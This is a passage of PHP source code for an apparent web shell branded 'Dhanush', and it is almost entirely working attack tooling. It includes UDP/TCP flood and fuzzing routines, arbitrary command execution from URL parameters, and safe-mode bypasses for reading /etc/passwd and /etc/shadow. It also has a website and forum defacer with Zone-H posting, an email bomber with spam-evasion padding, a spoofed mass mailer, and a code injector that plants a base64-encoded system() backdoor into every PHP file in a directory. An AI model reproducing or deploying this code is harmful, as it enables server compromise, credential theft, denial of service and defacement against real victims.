\$maxTime)\r\n\t\t\t\t{\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \"Dos Completed!<br>\";\r\n\t\t\techo \"DOS attack against udp://\$IP:\$port completed on \".date(\"h:i:s A\").\"<br />\";\r\n\t\t\techo \"Total Number of Packets Sent : \" . \$packets . \"<br />\";\r\n\t\t\techo \"Total Data Sent = \". HumanReadableFilesize(\$packets*\$no0fBytes) . \"<br />\"; \r\n\t\t\techo \"Data per packet = \" . HumanReadableFilesize(\$no0fBytes) . \"<br />\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['fuzzer']))\r\n{\r\n\tif(isset(\$_GET['ip']) && isset(\$_GET['port']) && isset(\$_GET['timeout']) && isset(\$_GET['exTime']) && isset(\$_GET['no0fBytes']) && isset(\$_GET['multiplier']) && \$_GET['no0fBytes'] != \"\" && \$_GET['exTime'] != \"\" && \$_GET['timeout'] != \"\" && \$_GET['port'] != \"\" && \$_GET['ip'] != \"\" && \$_GET['multiplier'] != \"\")\r\n    {\r\n        \$IP=\$_GET['ip'];\r\n        \$port=\$_GET['port'];\r\n        \$times = \$_GET['exTime'];\r\n\t\t\$timeout = \$_GET['timeout'];\r\n\t\t\$send = 0;\r\n        \$ending = \"\";\r\n        \$multiplier = \$_GET['multiplier'];\r\n        \$data = \"\";\r\n        \$mode=\"tcp\";\r\n        \$data .= \"GET /\";\r\n        \$ending .= \" HTTP/1.1\\n\\r\\n\\r\\n\\r\\n\\r\";\r\n        if(\$_GET['type'] == \"tcp\")\r\n        {\r\n            \$mode = \"tcp\";\r\n        }\r\n\t\r\n        while(\$multiplier--)\r\n        {\r\n            \$data .= urlencode(\$_GET['no0fBytes']);\r\n        }\r\n        \$data .= \"%s%s%s%s%d%x%c%n%n%n%n\";// add some format string specifiers\r\n        \$data .= \"by-Dhanush\".\$ending;\r\n        \$length = strlen(\$data);\r\n        \r\n        \r\n       echo \"Sending Data :- <br /> <p align='center'>\$data</p>\";\r\n        \r\n       for(\$i=0;\$i<\$times;\$i++)\r\n\t{\r\n            \$socket = fsockopen(\"\$mode://\$IP\", \$port, \$error, \$errorString, \$timeout);\r\n            if(\$socket)\r\n            {\r\n                fwrite(\$socket , \$data , \$length );\r\n                fclose(\$socket);\r\n            }\r\n        }\r\n        echo \"Fuzzing Completed!<br>\";\r\n        echo \"DOS attack against \$mode://\$IP:\$port completed on \".date(\"h:i:s A\").\"<br />\";\r\n        echo \"Total Number of Packets Sent : \" . \$times . \"<br />\";\r\n        echo \"Total Data Sent = \". HumanReadableFilesize(\$times*\$length) . \"<br />\"; \r\n        echo \"Data per packet = \" . HumanReadableFilesize(\$length) . \"<br />\";\r\n    }\r\n}\r\nelse if(isset(\$_GET['bypassit']))\r\n{\r\n\tif(isset(\$_GET['copy']))\r\n\t{\r\n\t\tif(@copy(\$_GET['copy'],\"test1.php\")) \r\n\t\t{\r\n\t\t\t\$fh=fopen(\"test1.php\",'r');\r\n\t\t\techo \"<textarea cols=120 rows=20 class=box readonly>\".htmlspecialchars(@fread(\$fh,filesize(\"test1.php\"))).\"</textarea></br></br>\";\r\n\t\t\t@fclose(\$fh);\r\n\t\t\tunlink(\"test1.php\");\r\n\t\t} \r\n\t}\r\n\telse if(isset(\$_GET['imap']))\r\n\t{\r\n\t\t\$string = \$_GET['imap'];\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\t\$stream = imap_open(\$string, \"\", \"\");\r\n\t\t\$str = imap_body(\$stream, 1);\r\n\t\techo \"</textarea>\";\r\n\t}\r\n\telse if(isset(\$_GET['sql']))\r\n\t{\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\t\$file=\$_GET['sql'];\r\n\t\t\r\n\t\t\$mysql_files_str = \"/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf\";\r\n\t\t\$mysql_files = explode(':', \$mysql_files_str);\r\n\t\t\t\r\n\t\t\$sql = array (\r\n\t\t\t\"USE \$mdb\",\r\n\t\t\t\t'CREATE TEMPORARY TABLE ' . (\$tbl = 'A'.time ()) . ' (a LONGBLOB)',\r\n\t\t\t\t\"LOAD DATA LOCAL INFILE '\$file' INTO TABLE \$tbl FIELDS \"\r\n\t\t\t\t. \"TERMINATED BY       '__THIS_NEVER_HAPPENS__' \"\r\n\t\t\t\t. \"ESCAPED BY          '' \"\r\n\t\t\t\t. \"LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'\",\r\n\t\t\t\t\r\n\t\t\t\t\"SELECT a FROM \$tbl LIMIT 1\"\r\n\t\t\t\t);\r\n\t\tmysql_connect (\$mhost, \$muser, \$mpass);\r\n\t\t\t\t\r\n\t\tforeach (\$sql as \$statement) {\r\n\t\t   \$q = mysql_query (\$statement);\r\n\t\t\r\n\t\t   if (\$q == false) die (\r\n\t\t\t\t  \"FAILED: \" . \$statement . \"\\n\" .\r\n\t\t\t\t\t  \"REASON: \" . mysql_error () . \"\\n\"\r\n\t\t\t\t   );\r\n\t\t\t\t\r\n\t\t   if (! \$r = @mysql_fetch_array (\$q, MYSQL_NUM)) continue;\r\n\t\t\t\r\n\t\t\t\t   echo htmlspecialchars(\$r[0]);\r\n\t\t\t\t   mysql_free_result (\$q);\r\n\t\t\t\t}\r\n\t\t\t\techo \"</textarea>\";\r\n\t\t\t}\r\n\telse if(isset(\$_GET['curl']))\r\n\t{\r\n\t\t\$ch=curl_init(\"file://\" . \$_GET[curl]);\r\n\t\tcurl_setopt(\$ch,CURLOPT_HEADERS,0);\r\n\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\$file_out=curl_exec(\$ch);\r\n\t\tcurl_close(\$ch);\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\".htmlspecialchars(\$file_out).\"</textarea></br></br>\";\r\n\t}\r\n\telse if(isset(\$_GET['include']))\r\n\t{\r\n\t\tif(file_exists(\$_GET['include']))\r\n\t\t{\r\n\t\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\t\t@include(\$_GET['include']);\r\n\t\t\techo \"</textarea>\";\r\n\t\t}\r\n\t\telse\r\n\t\t\techo \"<br><center><font  size=3>Can't Read\" . \$_GET['include'] . \"</font></center>\";\r\n\t}\r\n\telse if(isset(\$_GET['id']))\r\n\t{\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\tfor(\$uid=0;\$uid<60000;\$uid++)\r\n\t\t{   //cat /etc/passwd\r\n\t\t\t\$ara = posix_getpwuid(\$uid);\r\n\t\t\tif (!empty(\$ara)) \r\n\t\t\t{\r\n\t\t\t\twhile (list (\$key, \$val) = each(\$ara))\r\n\t\t\t\t{\r\n\t\t\t\t\tprint \"\$val:\";\r\n\t\t\t\t}\r\n\t\t\t\tprint \"\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \"</textarea>\";\r\n\t\tbreak;\r\n\t}\r\n\telse if(isset(\$_GET['tempnam']))\r\n\t{\r\n\t\t\$mytmp = tempnam ( 'tmp', \$_GET['tempnam'] );\r\n\t\t\$fp = fopen ( \$mytmp, 'r' );\r\n\t\twhile(!feof(\$fp))\r\n\t\t\techo fgets(\$fp);\r\n\t\tfclose ( \$fp );\r\n\t}\r\n\telse if(isset(\$_GET['symlnk']))\r\n\t{\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\t@mkdir(\"mydhanush\",0777);\r\n\t\t@chdir(\"mydhanush\");\r\n\t\texecmd(\"ln -s /etc/passwd\");\r\n\t\t\r\n\t\techo file_get_contents(\"http://\" . \$_SERVER['HTTP_HOST'] . \"/mydhanush/passwd\");\r\n\t\techo \"</textarea>\";\r\n\t}\r\n\tif(isset(\$_GET['newtype']))\r\n\t{\r\n\t\t\$filename = \$_GET['newtype'];\r\n\t\techo \"<textarea cols=120 rows=20 class=box readonly>\";\r\n\t\tif(\$_GET['optiontype'] == \"xxd\")\r\n\t\t\techo execmd(\"xxd \".\$filename);\r\n\t\telse if(\$_GET['optiontype'] == \"rev\")\r\n\t\t\techo execmd(\"rev \".\$filename);\r\n\t\tif(\$_GET['optiontype'] == \"tac\")\r\n\t\t\techo execmd(\"tac \".\$filename);\r\n\t\tif(\$_GET['optiontype'] == \"more\")\r\n\t\t\techo execmd(\"more \".\$filename);\r\n\t\tif(\$_GET['optiontype'] == \"less\")\r\n\t\t\techo execmd(\"less \".\$filename);\r\n\t\techo \"</textarea>\";\r\n\t}\r\n}\r\n// Deface Website\r\nelse if(isset(\$_GET['deface']))\r\n{\r\n\t\$myfile = fopen(\$_GET['deface'],'w');\r\n\tif(fwrite(\$myfile, base64_decode(\$ind)))\r\n\t{fclose(\$myfile);\r\n\techo \"Index Defaced Successfully\";}\r\n\telse\r\n\t\techo \"Donot have write permission\";\r\n}\r\nelse if(isset(\$_GET['perms']))\r\n{\r\n?>\r\n    <form>\r\n\t<input type=\"hidden\" name=\"myfilename\" value=\"<?php echo \$_GET['myfilepath']; ?>\">\r\n        <table align=\"center\" border=\"1\" style=\"width:40%;border-color:#333333;\">\r\n            <tr>\r\n                <td style=\"height:40px\" align=\"right\">Change Permissions </td><td align=\"center\"><input value=\"0755\" name=\"chmode\" class=\"sbox\" /></td> \r\n            </tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\" style=\"height:60px\">\r\n        <input type=\"button\" onClick=\"changeperms(chmode.value,myfilename.value)\" value=\"Change Permission\" class=\"but\" style=\"padding: 5px;\" /></td>\r\n\t\t\t</tr>\r\n        </table>\r\n\t\t\r\n\t</form>   \r\n    <?php\r\n}\r\nelse if(isset(\$_GET[\"chmode\"]))\r\n{\r\n\tif(\$_GET['chmode'] != null && is_numeric(\$_GET['chmode']))\r\n\t{\r\n\t\t\$perms = 0; \r\n        for(\$i=strlen(\$_GET['chmode'])-1;\$i>=0;--\$i) \r\n            \$perms += (int)\$_GET['chmode'][\$i]*pow(8, (strlen(\$_GET['chmode'])-\$i-1)); \r\n\t\tif(@chmod(\$_GET['myfilename'],\$perms))\r\n\t\t\techo \"<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><blink>Cannot Change File Permissions</blink></center>\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['rename']))\r\n{\r\n?>\r\n    <form>\r\n\t   <table border=\"0\" cellpadding=\"3\" cellspacing=\"3\">\r\n            <tr>\r\n                <td>File </td><td><input value=\"<?php echo \$_GET['myfilepath'];?>\" name=\"file\" class=\"box\" /></td>\r\n            </tr>\r\n            <tr>\r\n                <td>To </td><td><input value=\"<?php echo \$_GET['myfilepath'];?>\" name=\"to\" class=\"box\" /></td> \r\n            </tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\"><input type=\"button\" onClick=\"renamefun(file.value,to.value)\" value=\"Rename It\" class=\"but\" style=\"margin-left: 160px;padding: 5px;\"/></td>\r\n\t\t\t</tr>\r\n        </table>\r\n\t</form>   \r\n    <?php\r\n  \r\n}\r\nelse if(isset(\$_GET['renamemyfile']))\r\n{\r\n\tif(isset(\$_GET['to']) && isset(\$_GET['file']))\r\n\t{\r\n\t\t if(!rename(\$_GET['file'], \$_GET['to']))\r\n\t\t \techo \"Cannot Rename File\";\r\n\t\telse\r\n\t\t\techo \"<font class=txt>File Renamed Successfully</font>\";\r\n\t\r\n\t}\r\n}\r\nelse if(isset(\$_GET['open']))\r\n{\r\n\tif(is_file(\$_GET['myfilepath']))\r\n\t{\r\n\t\t\$owner = \"0/0\";\r\n\t\tif(\$os == \"Linux\")\r\n\t\t\t\$owner = getOGid(\$_GET['myfilepath']);\r\n\t\t?>\r\n\t\t\t<form>\r\n\t\t\t<table style=\"width:57%;\">\r\n\t\t\t\t<tr align=\"left\">\r\n\t\t\t\t\t<td align=\"left\">File : </td><td><font class=txt><?php echo \$_GET['myfilepath'];?></font></td><td align=\"left\">Permissions : </td><td><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo addslashes(\$_GET['myfilepath']); ?>')\"><?php echo filepermscolor(\$_GET['myfilepath']);?></a></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>Size : </td><td><?php echo HumanReadableFileSize(filesize(\$_GET['myfilepath']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo \$owner;?></font></td> \r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t<textarea name=\"content\" rows=\"15\" cols=\"100\" class=\"box\"><?php\r\n\t\t\t\$content = htmlspecialchars(file_get_contents(\$_GET['myfilepath']));\r\n\t\t\tif(\$content)\r\n\t\t\t{\r\n\t\t\t\techo \$content;\r\n\t\t\t}\r\n\t\t\telse if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))\r\n\t\t\t{\r\n\t\t\t\tif(filesize(\$_GET['myfilepath']) != 0 )\r\n\t\t\t\t{\r\n\t\t\t\t\tfopen(\$_GET['myfilepath']);\r\n\t\t\t\t\twhile(!feof())\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\techo htmlspecialchars(fgets(\$_GET['myfilepath']));\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\r\n\t\t\t?>\r\n\t\t\t</textarea><br />\r\n\t\t\t<input name=\"save\" type=\"button\" onClick=\"savemyfile('<?php echo addslashes(\$_GET['myfilepath']); ?>',content.value)\" value=\"Save Changes\" id=\"spacing\" class=\"but\"/>\r\n\t\t\t</form>\r\n    <?php\r\n\t}\r\n\telse\r\n\t\techo \"File does not exist !!!!\";\r\n}\r\nelse if(isset(\$_POST['file']) && isset(\$_POST['content']))\r\n{\r\n    if(file_exists(\$_POST['file']))\r\n    {\r\n        \$handle = fopen(\$_POST['file'],\"w\");\r\n        if(fwrite(\$handle,\$_POST['content']))\r\n        \techo \"<font class=txt>File Saved Successfully!</font>\";\r\n\telse\r\n\t\techo \"Cannot Write into File\";\r\n    }\r\n    else\r\n    {\r\n        echo \"File Name Specified does not exists!\";\r\n    }\r\n}\r\nelse if(isset(\$_POST[\"SendNowToZoneH\"]))\r\n{\r\n\t\$hacker = \$_POST['defacer'];\r\n\t\$method = \$_POST['hackmode'];\r\n\t\$neden = \$_POST['reason'];\r\n\t\$site = \$_POST['domain'];\r\n\t\r\n\tif (empty(\$hacker))\r\n\t{\r\n\t\tdie(\"<center><font  size=3>[-] You Must Fill the Attacker name !</font></center>\");\r\n\t}\r\n\telseif(\$method == \"--------SELECT--------\") \r\n\t{\r\n\t\tdie(\"<center><font  size=3>[-] You Must Select The Method !</center>\");\r\n\t}\r\n\telseif(\$neden == \"--------SELECT--------\") \r\n\t{\r\n\t\tdie(\"<center><font  size=3>[-] You Must Select The Reason</center>\");\r\n\t}\r\n\telseif(empty(\$site)) \r\n\t{\r\n\t\tdie(\"<center><font  size=3>[-] You Must Inter the Sites List !</center>\");\r\n\t}\r\n\t// Zone-h Poster\r\n\tfunction ZoneH(\$url, \$hacker, \$hackmode,\$reson, \$site )\r\n\t{\r\n\t\t\$k = curl_init();\r\n\t\tcurl_setopt(\$k, CURLOPT_URL, \$url);\r\n\t\tcurl_setopt(\$k,CURLOPT_POST,true);\r\n\t\tcurl_setopt(\$k, CURLOPT_POSTFIELDS,\"defacer=\".\$hacker.\"&domain1=\". \$site.\"&hackmode=\".\$hackmode.\"&reason=\".\$reson);\r\n\t\tcurl_setopt(\$k,CURLOPT_FOLLOWLOCATION, true);\r\n\t\tcurl_setopt(\$k, CURLOPT_RETURNTRANSFER, true);\r\n\t\t\$kubra = curl_exec(\$k);\r\n\t\tcurl_close(\$k);\r\n\t\treturn \$kubra;\r\n\t}\r\n\t\r\n\t\$i = 0;\r\n    \$sites = explode(\"\\n\", \$site);\r\n    echo \"<pre class=ml1 style='margin-top:5px'>\";\r\n\twhile(\$i < count(\$sites)) \r\n\t{\r\n\t\tif(substr(\$sites[\$i], 0, 4) != \"http\") \r\n\t\t{\r\n\t\t\t\t\$sites[\$i] = \"http://\".\$sites[\$i];\r\n\t\t}\r\n\t\tZoneH(\"http://zone-h.org/notify/single\", \$hacker, \$method, \$neden, \$sites[\$i]);\r\n\t\techo \"<font class=txt size=3>Site : \".\$sites[\$i].\" Posted !</font><br>\";\r\n\t\t++\$i;\r\n\t}\r\n\t\t \r\n\techo \"<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>\";\r\n}\r\nelse if(isset(\$_GET['executemycmd']))\r\n{\r\n\t\$comm = \$_GET['executemycmd'];\r\n\tchdir(\$_GET['executepath']);\r\n\techo shell_exec(\$comm);\r\n}\r\n// View Passwd file\r\nelse if(isset(\$_GET['passwd']))\r\n{\r\n\t\$test='';\r\n    \t\$tempp= tempnam(\$test, \"cx\");\r\n\t\$get = \"/etc/passwd\";\r\n\t\$name=@posix_getpwuid(@fileowner(\$get)); \r\n\t\$group=@posix_getgrgid(@filegroup(\$get)); \r\n\t\$owner = \$name['name']. \" / \". \$group['name']; \r\n\t?>\r\n\t<table style=\"width:57%;\">\r\n            <tr>\r\n                <td align=\"left\">File : </td><td><font class=txt><?php echo \$get; ?></font></td><td align=\"left\">Permissions : </td><td><?php echo filepermscolor(\$get);?></td>\r\n            </tr>\r\n            <tr>\r\n                <td>Size : </td><td><?php echo filesize(\$get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo \$owner;?></font></td> \r\n            </tr>\r\n        </table>\r\n\t<?php\r\n\tif(copy(\"compress.zlib://\".\$get, \$tempp))\r\n\t{\r\n\t\t\$fopenzo = fopen(\$tempp, \"r\");\r\n\t\t\$freadz = fread(\$fopenzo, filesize(\$tempp));\r\n\t\tfclose(\$fopenzo);\r\n\t\t\$source = htmlspecialchars(\$freadz);\r\n\t\techo \"<tr><td><center><textarea rows='20' cols='80' class=box name='source'>\$source</textarea><br>\";\r\n\t\tunlink(\$tempp);\r\n    \t} \r\n\telse \r\n\t{\r\n   \t?>\r\n\t\t<form>\r\n\t\t\t<input type=\"hidden\" name=\"etcpasswd\">\r\n\t\t\t<table class=\"tbl\" border=\"1\" cellpadding=\"5\" cellspacing=\"5\" align=\"center\" style=\"width:40%;\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td>From : </td><td><input type=\"text\" name=\"val1\" class=\"sbox\" value=\"1\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td>To : </td><td><input type=\"text\" name=\"val2\" class=\"sbox\" value=\"1000\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\" align=\"center\"><input type=\"submit\" value=\"  Go  \" class=\"but\"></td>\r\n\t\t\t</tr>\r\n\t\t\t</table><br>\r\n\t\t</form>\r\n\t\t<?php \r\n\t}\r\n}\r\nelse if(isset(\$_GET['shadow']))\r\n{\r\n\t\$test='';\r\n    \t\$tempp= tempnam(\$test, \"cx\");\r\n\t\$get = \"/etc/shadow\";\r\n\tif(copy(\"compress.zlib://\".\$get, \$tempp))\r\n\t{\r\n\t\t\$fopenzo = fopen(\$tempp, \"r\");\r\n\t\t\$freadz = fread(\$fopenzo, filesize(\$tempp));\r\n\t\tfclose(\$fopenzo);\r\n\t\t\$source = htmlspecialchars(\$freadz);\r\n\t\techo \"<tr><td><center><font size='3' face='Verdana'>\$get</font><br><textarea rows='20' cols='80' class=box name='source'>\$source</textarea>\";\r\n\t\tunlink(\$tempp);\r\n    \t} \r\n}\r\nelse if(isset(\$_GET['bomb']))\r\n{\r\n\t?><div id=\"showmail\"></div>\r\n\t<form>\r\n\t<table id=\"margins\" style=\"width:100%;\">\r\n\t\t<tr>\r\n\t\t\t<td style=\"width:30%;\">To</td>\r\n\t\t\t<td>\r\n\t\t\t\t<input class=\"box\" name=\"to\" value=\"victim@domain.com,victim2@domain.com\" onFocus=\"if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';\" onBlur=\"if(this.value=='')this.value='victim@domain.com,victim2@domain.com';\"/>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td style=\"width:30%;\">Subject</td>\r\n\t\t\t<td>\r\n\t\t\t\t<input type=\"text\" class=\"box\" name=\"subject\" value=\"Dhanush Here!\" onFocus=\"if(this.value == 'Dhanush Here!')this.value = '';\" onBlur=\"if(this.value=='')this.value='Dhanush Here!';\" />\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t <tr>\r\n\t\t\t<td style=\"width:30%;\">No. of Times</td>\r\n\t\t\t<td>\r\n\t\t\t\t<input class=\"box\" name=\"times\" value=\"100\" onFocus=\"if(this.value == '100')this.value = '';\" onBlur=\"if(this.value=='')this.value='100';\"/>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td style=\"width:30%;\">Pad your message (Less spam detection)</td>\r\n\t\t\t<td><input type=\"checkbox\" name=\"padding\"/></td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td colspan=\"2\"><textarea name=\"message\" cols=\"110\" rows=\"10\" class=\"box\">Hello !! This is Dhanush!!</textarea></td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td rowspan=\"2\">\r\n\t\t\t\t<input style=\"margin : 20px; margin-left: 390px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)\" class=\"but\" value=\"    Bomb!  \"/>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t</table>            \r\n\t</form>\r\n\t<?php\r\n}\r\n\r\n//Mass Mailer\r\nelse if(isset(\$_GET['mail']))\r\n{\r\n        ?><div id=\"showmail\"></div>\r\n\t\t<div align=\"left\">\r\n        <form>\r\n           <table align=\"left\" style=\"width:100%;\">\r\n                <tr>\r\n                    <td style=\"width:10%;\">From</td>\r\n                    <td style=\"width:80%;\" align=\"left\"><input name=\"from\" class=\"box\" value=\"Hello@abcd.in\" onFocus=\"if(this.value == 'president@whitehouse.gov')this.value = '';\" onBlur=\"if(this.value=='')this.value='president@whitehouse.gov';\"/></td>\r\n                </tr>\r\n                \r\n                <tr>\r\n                    <td style=\"width:20%;\">To</td>\r\n                    <td style=\"width:80%;\"><input class=\"box\" class=\"box\" name=\"to\" value=\"victim@domain.com,victim2@domain.com\" onFocus=\"if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';\" onBlur=\"if(this.value=='')this.value='victim@domain.com,victim2@domain.com';\"/></td>\r\n                </tr>\r\n                \r\n                <tr>\r\n                    <td style=\"width:20%;\">Subject</td>\r\n                    <td style=\"width:80%;\"><input type=\"text\" class=\"box\" name=\"subject\" value=\"Dhanush Here!!\" onFocus=\"if(this.value == 'Dhanush Here!!')this.value = '';\" onBlur=\"if(this.value=='')this.value='Dhanush Here!!';\" /></td>\r\n                </tr>\r\n                \r\n                \r\n                <tr>\r\n                    <td colspan=\"2\">\r\n                        <textarea name=\"message\" cols=\"110\" rows=\"10\" class=\"box\">Hello !! This is Dhanush!!!</textarea>\r\n                    </td>\r\n                </tr>\r\n                \r\n                \r\n                <tr>\r\n                    <td rowspan=\"2\">\r\n                        <input style=\"margin : 20px; margin-left: 390px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"sendmail('massmailing',to.value,subject.value,message.value,from.value)\" class=\"but\" value=\"   Send! \"/>\r\n                    </td>\r\n                </tr>\r\n            </table>            \r\n        </form></div>   \r\n        <?php\r\n}\r\n// Get Domains\r\nelse if(isset(\$_REQUEST[\"symlinkserver\"]))\r\n{\r\n\t?>\r\n\t<center><table><tr>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('domains')\"><font class=txt><b>| Get Domains |</b></font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('symlink')\"><font class=txt><b>| Symlink Server |</b></font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('symlinkfile')\"><font class=txt><b>| Symlink File |</b></font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('script')\"><font class=txt><b>| Script Locator |</b></font></a></td>\r\n\t</tr></table></center><br>\r\n\t<div id=\"showdata\"></div><?php\r\n}\r\n// Forum Manager\r\nelse if(isset(\$_REQUEST[\"forum\"]))\r\n{ ?>\r\n\t<center><table><tr><td><a href=# onClick=\"getdata('defaceforum')\"><font class=txt size=\"4\">| Forum Defacer |</font></a></td>\r\n\t<td><a href=# onClick=\"getdata('passwordchange')\"><font class=txt size=\"4\">| Forum Password Changer |</font></a></td>\r\n\t</tr></table></center><br><div id=\"showdata\"></div>\r\n\t<?php \r\n}\r\n// Sec info\r\nelse if(isset(\$_GET['secinfo']))\r\n{ ?><div id=showdata></div>\r\n<center><div id=\"showmydata\"></div>\r\n</center>\r\n<br><center><font color =red size=5>Server security information</font><br><br></center>\r\n\t<table style=\"width:100%;border-color:#333333;\" border=\"1\">\r\n\t<tr>\r\n\t\t<td style=\"width:7%;\">Curl</td>\r\n\t\t<td style=\"width:7%;\">Oracle</td>\r\n\t\t<td style=\"width:7%;\">MySQL</td>\r\n\t\t<td style=\"width:7%;\">MSSQL</td>\r\n\t\t<td style=\"width:7%;\">PostgreSQL</td>\r\n\t\t<td style=\"width:12%;\">Open Base Directory</td>\r\n\t\t<td style=\"width:10%;\">Safe_Exec_Dir</td>\r\n\t\t<td style=\"width:7%;\">PHP Version</td>\r\n\t\t<td style=\"width:7%;\">Magic Quotes</td> \r\n\t\t<td style=\"width:7%;\">Server Admin</td> \r\n\t</tr>\r\n\t<tr>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php curlinfo(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php oracleinfo(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php mysqlinfo(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php mssqlinfo(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php postgresqlinfo(); ?></font></td>\r\n\t\t<td style=\"width:12%;\"><font class=\"txt\"><?php echo \$basedir; ?></font></td>\r\n\t\t<td style=\"width:10%;\"><font class=\"txt\"><?php if(@function_exists('ini_get')) { if (''==(\$df=@ini_get('safe_mode_exec_dir'))) {echo \"<font >NONE</font></b>\";}else {echo \"<font color=green>\$df</font></b>\";};} ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php phpver(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php magic_quote(); ?></font></td>\r\n\t\t<td style=\"width:7%;\"><font class=\"txt\"><?php serveradmin(); ?></font></td>\r\n\t</tr>\r\n</table><br> <?php\r\n\tmysecinfo();\r\n}\r\n// Code Injector\r\n\r\nelse if(isset(\$_GET['injector']))\r\n{\r\n    ?>\r\n\t<form method='POST'>\r\n        <table id=\"margins\">\r\n        <tr>\r\n            <td width=\"100\" class=\"title\">\r\n                        Directory\r\n                    </td>\r\n                    <td>\r\n                         <input class=\"box\" name=\"pathtomass\" value=\"<?php echo getcwd().\$SEPARATOR; ?>\" />\r\n                    </td>\r\n\t\t\t\t\t\r\n                </tr>\r\n                <tr>\r\n                <td class=\"title\">\r\n                    Mode\r\n                </td>\r\n                <td>\r\n                        <select style=\"width: 400px;\" name=\"mode\" class=\"box\">\r\n                            <option value=\"Apender\">Apender</option>\r\n                            <option value=\"Overwriter\">Overwriter</option>\r\n                        </select>\r\n                </td>\r\n                </tr>\r\n                <tr>\r\n                    <td class=\"title\">\r\n                        File Type\r\n                    </td>\r\n                    <td>\r\n                        <input type=\"text\" class=\"box\" name=\"filetype\" value=\"php\" onBlur=\"if(this.value=='')this.value='php';\" />\r\n                    </td>\r\n                </tr>\r\n                <tr>\r\n\t\t\t<td>Create A backdoor by injecting this code in every php file of current directory</td>\r\n\t\t</tr>\r\n                \r\n                <tr>\r\n                    <td colspan=\"2\">\r\n                        <textarea name=\"injectthis\" cols=\"110\" rows=\"10\" class=\"box\"><?php echo base64_decode(\"PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+\"); ?></textarea>\r\n                    </td>\r\n                </tr>\r\n                <tr>\r\n                    <td rowspan=\"2\">\r\n                        <input style=\"margin : 20px; margin-left: 390px; padding : 10px; width: 100px;\" type=\"button\" onClick=\"codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)\" class=\"but\" value=\"Inject \"/>\r\n                    </td>\r\n                </tr>\r\n        </form>\r\n        </table><div id=\"showinject\"</div>\r\n\t\t<?php\r\n}\r\n// Bypass\r\nelse if(isset(\$_GET[\"bypass\"]))\r\n{\r\n\t?><center><div id=\"showbyp\"></div></center>\r\n\t<table cellpadding=\"7\" align=\"center\" border=\"3\" style=\"width:70%;border-color:#333333;\">\r\n\t\t<tr>\r\n\t\t\t<td align=\"center\" colspan=\"2\"><font color=\"#FF0000\" size=\"3\">Safe mode bypass</font></td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td align=\"center\">\r\n\t\t\t\t<p>Using copy() function</p>\r\n\t\t\t\t<form onSubmit=\"bypassfun('copy',copy.value);return false;\">\r\n\t\t\t\t<input type=\"text\" name=\"copy\" value=\"/etc/passwd\" class=\"sbox\"> <input type=\"button\" OnClick=\"bypassfun('copy',copy.value)\" value=\"bypass\" class=\"but\">\r\n\t\t\t\t\t\t</form>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td 